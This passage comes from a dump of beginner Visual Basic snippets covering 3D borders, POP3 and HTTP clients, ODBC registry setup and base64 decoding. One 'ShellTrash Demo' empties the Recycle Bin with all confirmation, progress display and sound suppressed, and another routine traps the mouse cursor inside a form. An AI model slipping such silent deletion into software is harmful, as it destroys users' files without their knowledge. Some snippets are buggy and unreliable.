- 2), vb3DHighlight\n obj.Line (obj.ScaleWidth - 2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 2, 1), vb3DHighlight\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub\n\nPublic Sub RaisedPanel3D(obj As Object)\n ' Gives the effect of raising the entire\n ' picture box. Much like a 3d Panel\n \n \n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (1, 1)-(obj.ScaleWidth - 1, 1), vb3DHighlight\n obj.Line (1, 2)-(1, obj.ScaleHeight), vb3DHighlight\n obj.Line (1, obj.ScaleHeight - 1)-(obj.ScaleWidth, obj.ScaleHeight - 1), vb3DShadow\n obj.Line (obj.ScaleWidth - 1, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, 1), vb3DShadow\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub\n\nPublic Sub Raised3D(obj As Object)\n ' Gives the effect of a raised line around\n ' the form or picturebox\n \n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (1, 1)-(obj.ScaleWidth - 1, 1), vb3DHighlight\n obj.Line (1, 2)-(obj.ScaleWidth, 2), vb3DShadow\n obj.Line (1, 2)-(1, obj.ScaleHeight), vb3DHighlight\n obj.Line (2, 2)-(2, obj.ScaleHeight), vb3DShadow\n obj.Line (1, obj.ScaleHeight - 2)-(obj.ScaleWidth, obj.ScaleHeight - 2), vb3DHighlight\n obj.Line (1, obj.ScaleHeight - 1)-(obj.ScaleWidth, obj.ScaleHeight - 1), vb3DShadow\n obj.Line (obj.ScaleWidth - 2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 2, 1), vb3DHighlight\n obj.Line (obj.ScaleWidth - 1, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, 1), vb3DShadow\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub\n\nPublic Sub Etched3D(obj As Object)\n ' Gives the effect of an eteched line around the\n ' form or picture box.\n ' Hold the original scale mode\n Dim nScaleMode As Integer\n \n ' Used for user defined scale only\n Dim sngScaleTop As Single\n Dim sngScaleLeft As Single\n Dim sngScaleWidth As Single\n Dim sngScaleHeight As Single\n \n If (TypeOf obj Is PictureBox) Or (TypeOf obj Is Form) Then\n \n nScaleMode = obj.ScaleMode\n \n If nScaleMode = 0 Then ' user defined scale\n sngScaleTop = obj.ScaleTop\n sngScaleLeft = obj.ScaleLeft\n sngScaleWidth = obj.ScaleWidth\n sngScaleHeight = obj.ScaleHeight\n End If\n \n obj.ScaleMode = 3 ' Pixel\n obj.Line (1, 1)-(obj.ScaleWidth - 1, 1), vb3DShadow\n obj.Line (1, 2)-(obj.ScaleWidth, 2), vb3DHighlight\n obj.Line (1, 2)-(1, obj.ScaleHeight), vb3DShadow\n obj.Line (2, 2)-(2, obj.ScaleHeight), vb3DHighlight\n obj.Line (1, obj.ScaleHeight - 2)-(obj.ScaleWidth, obj.ScaleHeight - 2), vb3DShadow\n obj.Line (1, obj.ScaleHeight - 1)-(obj.ScaleWidth, obj.ScaleHeight - 1), vb3DHighlight\n obj.Line (obj.ScaleWidth - 2, obj.ScaleHeight - 2)-(obj.ScaleWidth - 2, 1), vb3DShadow\n obj.Line (obj.ScaleWidth - 1, obj.ScaleHeight - 2)-(obj.ScaleWidth - 1, 1), vb3DHighlight\n \n ' Set the scale mode back to the same as it was\n obj.ScaleMode = nScaleMode\n If nScaleMode = 0 Then\n obj.ScaleTop = sngScaleTop\n obj.ScaleWidth = sngScaleWidth\n obj.ScaleLeft = sngScaleLeft\n obj.ScaleHeight = sngScaleHeight\n End If\n End If\nEnd Sub"},{"WorldId":1,"id":2575,"LineNumber":1,"line":"' ShellTrash Demo\n' by Barry L. Camp (blcamp@yahoo.com)\nOption Explicit ' The Author's preference.\nConst SHERB_NOCONFIRMATION = &H1& ' No dialog confirming the deletion of the objects will be displayed.\nConst SHERB_NOPROGRESSUI = &H2& ' No dialog indicating the progress will be displayed.\nConst SHERB_NOSOUND = &H4& ' No sound will be played when the operation is complete.\nPrivate Declare Function SHEmptyRecycleBin Lib \"shell32\" Alias \"SHEmptyRecycleBinA\" _\n (ByVal hWnd As Long, ByVal lpBuffer As String, ByVal dwFlags As Long) As Long\nSub Main()\n Dim rc As Long\n Dim nFlags As Long\n ' Suppresses all UI elements, for \"quiet\" operation.\n nFlags = SHERB_NOCONFIRMATION Or SHERB_NOPROGRESSUI Or SHERB_NOSOUND\n rc = SHEmptyRecycleBin(0&, vbNullString, nFlags)\nEnd Sub\n"},{"WorldId":1,"id":2583,"LineNumber":1,"line":"' Trapping And Releaseing Mouse Routine's -----Start\nPublic Function LetMouseGo(Frm2LetMouseGo As Object)\n Dim erg As Long\n Dim NewRect As RECT\n With NewRect\n .Left = 0&\n .Top = 0&\n .Right = Screen.Width / Screen.TwipsPerPixelX\n .Bottom = Screen.Height / Screen.TwipsPerPixelY\n End With\n erg& = ClipCursor(NewRect)\n'Be Sure To Add\n'\n' Private Sub Form_Unload(Cancel As Integer)\n' LetMouseGo Me\n' End Sub\n'\n'To The Form That You Trap Incase They Ctrl-alt-Del Or X\n'Out Of The Program, Otherwise, There Mouse Will Still Be\n'Trapped In The Form Square!!\nEnd Function\nPublic Function TrapMouse(Frm2MouseTrap As Object)\n Dim x As Long, y As Long, erg As Long\n Dim NewRect As RECT\n x& = Screen.TwipsPerPixelX\n y& = Screen.TwipsPerPixelY\n With NewRect\n .Left = Frm2MouseTrap.Left / x&\n .Top = Frm2MouseTrap.Top / y&\n .Right = .Left + Frm2MouseTrap.Width / x&\n .Bottom = .Top + Frm2MouseTrap.Height / y&\n End With\n erg& = ClipCursor(NewRect)\nEnd Function\n' Trapping And Releaseing Mouse Routine's -----End\n' Random ForeColor Or BackColor Or FillColor On Form Or Object's ---Start\nPublic Function RandColor(ObjectToFlash As Object, ForeColorBackColorOrFillColor As Object)\n Dim c(2) As Byte\n For x = 0 To 2\n Randomize\n c(x) = Int((255 - 0 + 1) * Rnd + 0)\n Next x\n ObjectToFlash.ForeColorBackColorOrFillColor = RGB(c(0), c(1), c(2))\nEnd Function\n' Random ForeColor Or BackColor Or FillColor On Form Or Object's ---End\n'Special Closing Affect ---Start\nPublic Function WickedFormClose(Form2Close As Object)\n GotoVal = (Form2Close.Height / 12)\n For Gointo = 1 To GotoVal\n DoEvents\n Form2Close.Height = Form2Close.Height - 50\n Form2Close.Top = (Screen.Height - Form2Close.Height) \\ 2\n Form2Close.Width = Form2Close.Width - 50\n Form2Close.Left = (Screen.Width - Form2Close.Width) \\ 2\n If Form2Close.Width <= 50 Then Unload Form2Close\n If Form2Close.Height <= 50 Then Unload Form2Close\n Next Gointo\nUnload Form2Close\nEnd Function\n'Special Closing Affect ---End\n'Retrieve File Off A WebPage Internet ---Start\n' Usage Example\n' GetInterNetFile \"http://somewhere.com/ifsomething/\", \"test.zip\", \"c:\"\n' Note: You Have To Put A Microsoft Internet Transfer Control On The Form!\nPublic Function GetInterNetFile(Location As String, Filename As String, DirToSaveAt As String)\nDim mocha As String\nmocha = Location & Filename\nDim bData() As Byte\nDim intFile As Integer\nintFile = FreeFile()\nbData() = Inet1.OpenURL(mocha, icByteArray)\nOpen DirToSaveAt & \"\\\" & Filename For Binary Access Write _\nAs #intFile\nPut #intFile, , bData()\nClose #intFile\nEnd Function\n'Retrieve File Off The Internet ---End\n' Yea, I know These Are Probably Crapily Coded But I'm Just Trying\n' To Show The New People To VB Some Little Need (pointless)\n' Thing's To Play Around With!!"},{"WorldId":1,"id":3318,"LineNumber":1,"line":"'WS_POP3_Conn is winsock component variable\n'pop3 session state after send LIST command\n'full source code and usage paper you can find at \n'http://www.tair.freeservers.com\nCase 4\n WS_POP3_Conn.GetData inBuffer2, vbString\n inBuffer = inBuffer & inBuffer2\nIf def_mail = 0 Then\n'Answer on LIST command\n If Right(inBuffer, 5) = CRLF_CRLF Then\n 'OK LIST response terminated\n def_mail = def_mail + 1\n Tmp_log.Text = Tmp_log.Text & \"Parsing List Response\" & CRLF\n If Parse_LIST_Response(inBuffer) = 0 Then\n Tmp_log.Text = Tmp_log.Text & \"FOUND: \" & mail_count & \" mail(s)\" & CRLF\n outBuffer = \"RETR \" & def_mail & CRLF\n Tmp_log.Text = Tmp_log.Text & \"RETR \" & def_mail & \" COMMAND SENT\" & CRLF\n Cmd_First.Enabled = False\n Cmd_Prev.Enabled = False\n Cmd_Next.Enabled = False\n Cmd_Last.Enabled = False\n Cmd_GoTo.Enabled = False\n Else\n outBuffer = \"QUIT\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"NO MAILS FOUND\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"QUIT COMMAND SENT\" & CRLF\n Command_ID = 5\n Tmp_log.Text = Tmp_log.Text & \"cid=5\" & CRLF\n End If\n Tmp_log.Text = Tmp_log.Text & \"ibuffer=\" & inBuffer\n Tmp_log.Text = Tmp_log.Text & \"obuffer=\" & outBuffer\n inBuffer = \"\"\n WS_POP3_Conn.SendData outBuffer\n Tmp_log.SelStart = Len(Tmp_log.Text) - 1\n Tmp_log.Refresh\n 'EOF OK LIST response terminated\n End If\n'EOF Answer on LIST command\nElse\n If def_mail < mail_count Then\n'recive n mail\n If Right(inBuffer, 5) = CRLF_CRLF Then\n 'OK n mail terminated\n zu = Parse_Mail(inBuffer, def_mail)\n def_mail = def_mail + 1\n outBuffer = \"RETR \" & def_mail & CRLF\n Tmp_log.Text = Tmp_log.Text & \"RETR \" & def_mail & \" COMMAND SENT\" & CRLF\n inBuffer = \"\"\n WS_POP3_Conn.SendData outBuffer\n Tmp_log.SelStart = Len(Tmp_log.Text) - 1\n Tmp_log.Refresh\n 'ok n mail recived\n 'EOF ok n mail recived\n 'Else\n 'fail n mail not recived\n 'EOF fail n mail not recived\n 'End If\n 'EOF OK n mail terminated\n End If\n'EOF recive n mail\n Else\n'recive last mail\n If Right(inBuffer, 5) = CRLF_CRLF Then\n 'OK last mail terminated\n 'If Left(inBuffer, 1) = \"+\" Then\n 'ok last mail recived no errors\n zu = Parse_Mail(inBuffer, def_mail)\n Tmp_log.Text = Tmp_log.Text & \"cid=5\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"Get Last Mail\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"ibuffer=\" & inBuffer\n Tmp_log.Text = Tmp_log.Text & \"obuffer=\" & outBuffer\n outBuffer = \"QUIT\" & CRLF\n Tmp_log.Text = Tmp_log.Text & \"QUIT COMMAND SENT\" & CRLF\n Command_ID = 5\n Tmp_log.Text = Tmp_log.Text & \"cid=5\" & CRLF\n inBuffer = \"\"\n If mail_count > 1 Then\n Cmd_First.Enabled = False\n Cmd_Prev.Enabled = False\n Cmd_Next.Enabled = True\n Cmd_Last.Enabled = True\n Cmd_GoTo.Enabled = True\n End If\n Lbl_Mail_Count.Caption = \"of \" & mail_count\n Lbl_Mail_Count.Refresh\n Load_Fields 1\n txt_Position.Text = \"1\"\n txt_Position.Refresh\n WS_POP3_Conn.SendData outBuffer\n Tmp_log.Text = Tmp_log.Text & \"QUIT COMMAND SENT\" & CRLF\n Tmp_log.SelStart = Len(Tmp_log.Text) - 1\n Tmp_log.Refresh\n 'EOF ok last mail recived no errors\n 'Else\n 'last mail recived with errors\n ' MsgBox \"last mail recived with errors.\"\n ' Command_ID = 5\n 'EOF last mail recived with errors\n 'End If\n 'EOF OK last mail terminated\n End If\n 'recive last mail\n End If\nEnd If\n"},{"WorldId":1,"id":5166,"LineNumber":1,"line":"'based on HTTP 1.0 - RFC 1945\n'see http://www.tair.freeservers.com for more info, details and downloads!\nPublic JobURL As String\nPublic ResponseDocument As String\nPublic StepCount As Long\nPublic IsProxyUsed As Boolean\nPublic ServerHostIP As String\nPublic ServerPort As Long\n'------------------------------------------------------------\nDim LocalStepCounter As Long\nDim RequestHeader As String\nDim RequestTemplate As String\n'------------------------------------------------------------\nPublic Sub ActionStartup()\n \n If UCase(Left(JobURL, 7)) <> \"HTTP://\" Then\n MsgBox \"Please enter url with http://\", vbCritical + vbOK\n FrmActionWait.Hide\n Unload FrmActionWait\n Exit Sub\n End If\n \n LocalStepCounter = 0\n RequestHeader = \"\"\n RequestTemplate = \"GET _$-$_$- HTTP/1.0\" & Chr(13) & Chr(10) & _\n \"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-comet, */*\" & Chr(13) & Chr(10) & _\n \"Accept-Language: en\" & Chr(13) & Chr(10) & _\n \"Accept-Encoding: gzip , deflate\" & Chr(13) & Chr(10) & _\n \"Cache-Control: no-cache\" & Chr(13) & Chr(10) & _\n \"Proxy-Connection: Keep-Alive\" & Chr(13) & Chr(10) & _\n \"User-Agent: SSM Agent 1.0\" & Chr(13) & Chr(10) & _\n \"Host: @$@@$@\" & Chr(13) & Chr(10)\n pureURL = Right(JobURL, Len(JobURL) - 7)\n startPos = InStr(1, pureURL, \"/\")\n \n If startPos < 1 Then\n ServerAddress = pureURL\n documentURI = \"/\"\n Else\n ServerAddress = Left(pureURL, startPos - 1)\n documentURI = Right(pureURL, Len(pureURL) - startPos + 1)\n End If\n \n If ServerAddress = \"\" Or documentURI = \"\" Then\n MsgBox \"Unable to detect target page!\", vbCritical + vbOK\n FrmActionWait.Hide\n Unload FrmActionWait\n Exit Sub\n End If\n \n If IsProxyUsed Then\n \n If ServerHostIP = \"\" Then\n MsgBox \"Unable to detect proxy address!\", vbCritical + vbOK\n FrmActionWait.Hide\n Unload FrmActionWait\n Exit Sub\n End If\n \n RequestHeader = RequestTemplate\n RequestHeader = Replace(RequestHeader, \"_$-$_$-\", JobURL)\n Else\n ServerHostIP = ServerAddress\n ServerPort = 80\n RequestHeader = RequestTemplate\n RequestHeader = Replace(RequestHeader, \"_$-$_$-\", documentURI)\n End If\n \n Me.Show\n RequestHeader = Replace(RequestHeader, \"@$@@$@\", ServerAddress)\n RequestHeader = RequestHeader & Chr(13) & Chr(10)\n TxtStatus.Text = \"Connecting to server ...\"\n TxtStatus.Refresh\n \n WS_HTTP.Connect ServerHostIP, ServerPort\nEnd Sub\nPrivate Sub WS_HTTP_Close()\n WS_HTTP.Close\n TxtStatus.Text = \"Transaction completed ...\"\n TxtStatus.Refresh\n Me.Hide\n Unload Me\nEnd Sub\nPrivate Sub WS_HTTP_Connect()\n WS_HTTP.SendData RequestHeader\n TxtStatus.Text = \"Connected, try to obtain page ...\"\n TxtStatus.Refresh\n FrmMainWin.TxtResponse.Text = \"\"\n FrmMainWin.TxtResponse.Refresh\nEnd Sub\nPrivate Sub WS_HTTP_DataArrival(ByVal bytesTotal As Long)\n Dim tmpString As String\n WS_HTTP.GetData tmpString, vbString\n FrmMainWin.TxtResponse.Text = FrmMainWin.TxtResponse.Text & tmpString\n FrmMainWin.TxtResponse.Refresh\n TxtStatus.Text = \"Data from server, continue ...\"\n TxtStatus.Refresh\nEnd Sub\nPrivate Sub WS_HTTP_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n WS_HTTP.Close\n TxtStatus.Text = \"Errors occured ...\"\n TxtStatus.Refresh\n Me.Hide\n Unload Me\nEnd Sub\n"},{"WorldId":1,"id":5225,"LineNumber":1,"line":"'in module file\nPrivate Const KEY_QUERY_VALUE = &H1\nPrivate Const ERROR_SUCCESS = 0&\nPrivate Const REG_SZ = 1\nPrivate Const HKEY_LOCAL_MACHINE = &H80000002\nPrivate Const REG_DWORD = 4\nPrivate Declare Function RegOpenKeyEx Lib \"advapi32.dll\" Alias \"RegOpenKeyExA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long\nPrivate Declare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.\nPrivate Declare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nPrivate Declare Function RegSetValueExString Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long\nPrivate Declare Function RegCloseKey Lib \"advapi32.dll\" (ByVal hKey As Long) As Long\nPrivate Declare Function RegSetValueExLong Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long\nPublic Function isSZKeyExist(szKeyPath As String, _\n szKeyName As String, _\n ByRef szKeyValue As String) As Boolean\n \nDim bRes As Boolean\nDim lRes As Long\nDim hKey As Long\nlRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _\n szKeyPath, _\n 0&, _\n KEY_QUERY_VALUE, _\n hKey)\nIf lRes <> ERROR_SUCCESS Then\n isSZKeyExist = False\n Exit Function\nEnd If\nlRes = RegQueryValueEx(hKey, _\n szKeyName, _\n 0&, _\n REG_SZ, _\n ByVal szKeyValue, _\n Len(szKeyValue))\n \nRegCloseKey (hKey)\nIf lRes <> ERROR_SUCCESS Then\n isSZKeyExist = False\n Exit Function\nEnd If\n isSZKeyExist = True\n \nEnd Function\n \nPublic Function checkAccessDriver(ByRef szDriverName As String) As Boolean\n Dim szKeyPath As String\n Dim szKeyName As String\n Dim szKeyValue As String\n Dim bRes As Boolean\n \n \n bRes = False\n \n szKeyPath = \"SOFTWARE\\ODBC\\ODBCINST.INI\\Microsoft Access Driver (*.mdb)\"\n szKeyName = \"Driver\"\n szKeyValue = String(255, Chr(32))\n \n If isSZKeyExist(szKeyPath, szKeyName, szKeyValue) Then\n szDriverName = szKeyValue\n bRes = True\n Else\n bRes = False\n End If\n \n checkAccessDriver = bRes\nEnd Function\nPublic Function checkWantedAccessDSN(szWantedDSN As String) As Boolean\n Dim szKeyPath As String\n Dim szKeyName As String\n Dim szKeyValue As String\n Dim bRes As Boolean\n \n szKeyPath = \"SOFTWARE\\ODBC\\ODBC.INI\\ODBC Data Sources\"\n szKeyName = szWantedDSN\n szKeyValue = String(255, Chr(32))\n \n If isSZKeyExist(szKeyPath, szKeyName, szKeyValue) Then\n bRes = True\n Else\n bRes = False\n End If\n \n checkWantedAccessDSN = bRes\n \nEnd Function\nPublic Function createAccessDSN(szDriverName As String, _\n szWantedDSN As String) As Boolean\n \n Dim hKey As Long\n Dim szKeyPath As String\n Dim szKeyName As String\n Dim szKeyValue As String\n Dim lKeyValue As Long\n Dim lRes As Long\n Dim lSize As Long\n Dim szEmpty As String\n \n szEmpty = Chr(0)\n \n \n lSize = 4\n \n lRes = RegCreateKey(HKEY_LOCAL_MACHINE, _\n \"SOFTWARE\\ODBC\\ODBC.INI\\\" & _\n szWantedDSN, _\n hKey)\n \n If lRes <> ERROR_SUCCESS Then\n createAccessDSN = False\n Exit Function\n End If\n \n lRes = RegSetValueExString(hKey, \"UID\", 0&, REG_SZ, _\n szEmpty, Len(szEmpty))\n \n szKeyValue = App.Path & \"\\DB\\ssmdb.mdb\"\n lRes = RegSetValueExString(hKey, \"DBQ\", 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n szKeyValue = szDriverName\n lRes = RegSetValueExString(hKey, \"Driver\", 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n szKeyValue = \"MS Access;\"\n lRes = RegSetValueExString(hKey, \"FIL\", 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n lKeyValue = 25\n lRes = RegSetValueExLong(hKey, \"DriverId\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lKeyValue = 0\n lRes = RegSetValueExLong(hKey, \"SafeTransactions\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lRes = RegCloseKey(hKey)\n szKeyPath = \"SOFTWARE\\ODBC\\ODBC.INI\\\" & szWantedDSN & \"\\Engines\\Jet\"\n \n lRes = RegCreateKey(HKEY_LOCAL_MACHINE, _\n szKeyPath, _\n hKey)\n \n If lRes <> ERROR_SUCCESS Then\n createAccessDSN = False\n Exit Function\n End If\n lRes = RegSetValueExString(hKey, \"ImplicitCommitSync\", 0&, REG_SZ, _\n szEmpty, Len(szEmpty))\n \n szKeyValue = \"Yes\"\n lRes = RegSetValueExString(hKey, \"UserCommitSync\", 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n lKeyValue = 2048\n lRes = RegSetValueExLong(hKey, \"MaxBufferSize\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lKeyValue = 5\n lRes = RegSetValueExLong(hKey, \"PageTimeout\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lKeyValue = 3\n lRes = RegSetValueExLong(hKey, \"Threads\", 0&, REG_DWORD, _\n lKeyValue, 4)\n \n lRes = RegCloseKey(hKey)\n lRes = RegCreateKey(HKEY_LOCAL_MACHINE, _\n \"SOFTWARE\\ODBC\\ODBC.INI\\ODBC Data Sources\", _\n hKey)\n \n If lRes <> ERROR_SUCCESS Then\n createAccessDSN = False\n Exit Function\n End If\n \n szKeyValue = \"Microsoft Access Driver (*.mdb)\"\n lRes = RegSetValueExString(hKey, szWantedDSN, 0&, REG_SZ, _\n szKeyValue, Len(szKeyValue))\n \n lRes = RegCloseKey(hKey)\n createAccessDSN = True\nEnd Function\n'anywhere in application\n \n Dim szDriverName As String\n Dim szWantedDSN As String\n \n szDriverName = String(255, Chr(32))\n szWantedDSN = \"MyAccess_ODBC\"\n 'is access drivers installed?\n If Not checkAccessDriver(szDriverName) Then\n MsgBox \"You must Install Access ODBC Drivers before use this program.\", vbOK + vbCritical\n End If\n \n'is our dsn exist?\nIf Not (checkWantedAccessDSN(szWantedDSN)) Then\n If szDriverName = \"\" Then\n MsgBox \"Can't find access ODBC driver.\", vbOK + vbCritical\n Else\n If Not createAccessDSN(szDriverName, szWantedDSN) Then\n MsgBox \"Can't create database ODBC.\", vbOK + vbCritical\n End If\n End If\nEnd If\n \n"},{"WorldId":1,"id":5240,"LineNumber":1,"line":"'generate random value between minVal and maxVal inclusive\n'or return -1 if any error\nPublic Function GenerateRandom(minVal As Long, maxVal As Long) As Long\n \n intr = -1\n \n maxVal = maxVal + 1\n \n If maxVal > 0 Then\n If minVal >= maxVal Then\n minVal = 0\n End If\n Else\n minVal = 0\n maxVal = 10\n End If\n \n Randomize (DatePart(\"s\", Now) + DatePart(\"m\", Now))\n \n \n Do While (intr < minVal Or intr = maxVal)\n intr = CLng(Rnd() * maxVal)\n Loop\n GenerateRandom = intr\nEnd Function\n"},{"WorldId":1,"id":6592,"LineNumber":1,"line":"'(C) 2000 by Tair Abdurman\n'WWW: www.tair.freeservers.com\n'e-mail: broadcast_line@usa.net\n'this version to decode Outlook encrypted\n'attachments\n'Base64 decode routines\n' based on RFC 1421\n'----------------------------------------------------------------------------------------------------\n' Quantum of decoded content\n'----------------------------------------------------------------------------------------------------\n' 3 2 1 0\n' 00XXXXXX 00XXXXXX 00XXXXXX 00XXXXXX\n' | | | | | | | | | | | |\n' A1 A2 B1 B2 C1 C2\n'----------------------------------------------------------------------------------------------------\n' Bit positions:\n'----------------------------------------------------------------------------------------------------\n' AND SHIFT RIGHT SHIFT LEFT BYTE NUMB\n' A1 3FH 01H 08H 3\n' A2 30H 10H 01H 2\n'\n' B1 0FH 01H 10H 2\n' B2 3CH 08H 01H 1\n'\n' C1 03H 01H 40H 1\n' C2 3FH 01H 01H 0\n'----------------------------------------------------------------------------------------------------\n' Decoded Triple\n' DA DB DC\n' XXXXXXXX XXXXXXXX XXXXXXXX\n'----------------------------------------------------------------------------------------------------\n' VB Formula:\n' Ydecoded(DZ)=(Xencoded(Z1bytenum) AND Z1and)*Z1shiftright +\n' (Xencoded(Z2bytenum) AND Z2and)/Z2shiftleft\n'----------------------------------------------------------------------------------------------------\nOption Explicit\nPrivate Type b64encoded\n Byte1 As Byte\n Byte2 As Byte\n Byte3 As Byte\n Byte4 As Byte\nEnd Type\nPrivate Type b64decoded\n Byte1 As Byte\n Byte2 As Byte\n Byte3 As Byte\nEnd Type\nPrivate Type codecodeBytes\n Byte1 As Byte\n Byte2 As Byte\n Byte3 As Byte\n Byte4 As Byte\nEnd Type\nDim keyByteA As codecodeBytes\nDim keyByteB As codecodeBytes\nDim keyByteC As codecodeBytes\nPrivate Sub InitDecodeEncodeMachine()\n \n'-------------------------------\nkeyByteA.Byte1 = &H3F\nkeyByteA.Byte2 = &H4\nkeyByteA.Byte3 = &H30\nkeyByteA.Byte4 = &H10\n'-------------------------------\n'-------------------------------\nkeyByteB.Byte1 = &HF\nkeyByteB.Byte2 = &H10\nkeyByteB.Byte3 = &H3C\nkeyByteB.Byte4 = &H4\n'-------------------------------\n'-------------------------------\nkeyByteC.Byte1 = &H3\nkeyByteC.Byte2 = &H40\nkeyByteC.Byte3 = &H3F\nkeyByteC.Byte4 = &H1\n'-------------------------------\nEnd Sub\n'Decode source file encoded by base64 into destination\nPublic Sub DecodeFile(ByVal srcFile As String, ByVal dstFile As String)\n Dim tempBuffer As String * 78\n Dim tempBufferNC As String * 74\n Dim tempEncoded As b64encoded\n Dim tempDecoded As b64decoded\n Dim bResult As Byte\n Dim iCntr As Long\n Dim btResult As Byte\n \n \n Call InitDecodeEncodeMachine\nbtResult = 0\niCntr = 0\n \n \n Open srcFile For Random As #1 Len = 78\n Open dstFile For Random As #2 Len = 1\n \n Do While Not (EOF(1))\n Get #1, , tempBuffer\n \n iCntr = 0\n Do While iCntr < Len(tempBuffer)\n \n If Mid(tempBuffer, (iCntr + 1), 2) = vbCrLf Then Exit Do\n \n tempEncoded.Byte1 = DeMapCode(Mid(tempBuffer, (iCntr + 1), 1))\n tempEncoded.Byte2 = DeMapCode(Mid(tempBuffer, (iCntr + 2), 1))\n tempEncoded.Byte3 = DeMapCode(Mid(tempBuffer, (iCntr + 3), 1))\n tempEncoded.Byte4 = DeMapCode(Mid(tempBuffer, (iCntr + 4), 1))\n \n \n bResult = 0\n bResult = Base64Decode(tempEncoded, tempDecoded)\n \n Select Case bResult\n \n Case 1\n Put #2, , tempDecoded.Byte1\n Case 2\n Put #2, , tempDecoded.Byte1\n Put #2, , tempDecoded.Byte2\n Case 3\n Put #2, , tempDecoded.Byte1\n Put #2, , tempDecoded.Byte2\n Put #2, , tempDecoded.Byte3\n End Select\n \n \n 'EOF encoded part\n If (bResult = 0) Then Exit Do\n \n 'FOUR bytes as step\n iCntr = iCntr + 4\n \n Loop\n 'if end of encoded text\n If (bResult = 0) Then Exit Do\n Loop\n \n Close #2\n Close #1\nEnd Sub\n\nPrivate Function Base64Decode(srcBase64Encoded As b64encoded, dstBase64Decoded As b64decoded) As Byte\n'return amoun of decoded bytes\nIf (srcBase64Encoded.Byte1 > 64) Then\n Base64Decode = 0\n Exit Function\nEnd If\nIf ((srcBase64Encoded.Byte3 = 64) And (srcBase64Encoded.Byte4 = 64)) Then\n dstBase64Decoded.Byte1 = (srcBase64Encoded.Byte1 And keyByteA.Byte1) * keyByteA.Byte2 + _\n (srcBase64Encoded.Byte2 And keyByteA.Byte3) / keyByteA.Byte4\n dstBase64Decoded.Byte2 = 0\n dstBase64Decoded.Byte3 = 0\n Base64Decode = 1\n Exit Function\nEnd If\nIf (srcBase64Encoded.Byte4 = 64) Then\n dstBase64Decoded.Byte1 = (srcBase64Encoded.Byte1 And keyByteA.Byte1) * keyByteA.Byte2 + _\n (srcBase64Encoded.Byte2 And keyByteA.Byte3) / keyByteA.Byte4\n dstBase64Decoded.Byte2 = (srcBase64Encoded.Byte2 And keyByteB.Byte1) * keyByteB.Byte2 + _\n (srcBase64Encoded.Byte3 And keyByteB.Byte3) / keyByteB.Byte4\n 